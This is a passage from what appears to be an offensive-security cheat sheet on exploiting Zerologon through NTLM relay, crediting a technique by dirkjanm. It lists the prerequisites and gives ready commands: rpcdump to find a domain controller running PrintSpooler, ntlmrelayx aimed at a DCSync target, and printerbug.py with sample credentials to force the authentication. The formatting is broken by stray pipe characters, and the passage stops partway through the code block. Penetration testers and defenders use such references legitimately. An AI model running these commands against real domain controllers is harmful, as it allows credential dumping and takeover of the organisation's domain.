```
|

|

A 2nd approach to exploit zerologon is done by relaying authentication.
|
||||
|
||||
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
|
||||
The following prerequisites are needed:
|
||||
* A domain account
|
||||
* One DC running the `PrintSpooler` service
|
||||
* Another DC vulnerable to zerologon
|
||||
|
||||
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
|
||||
```powershell
|
||||
# Check if one DC is running the PrintSpooler service
|
||||
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
|
||||
|
||||
# Setup ntlmrelay in one shell
|
||||
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
|
||||
|
||||
#Trigger printerbug in 2nd shell
|
||||
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
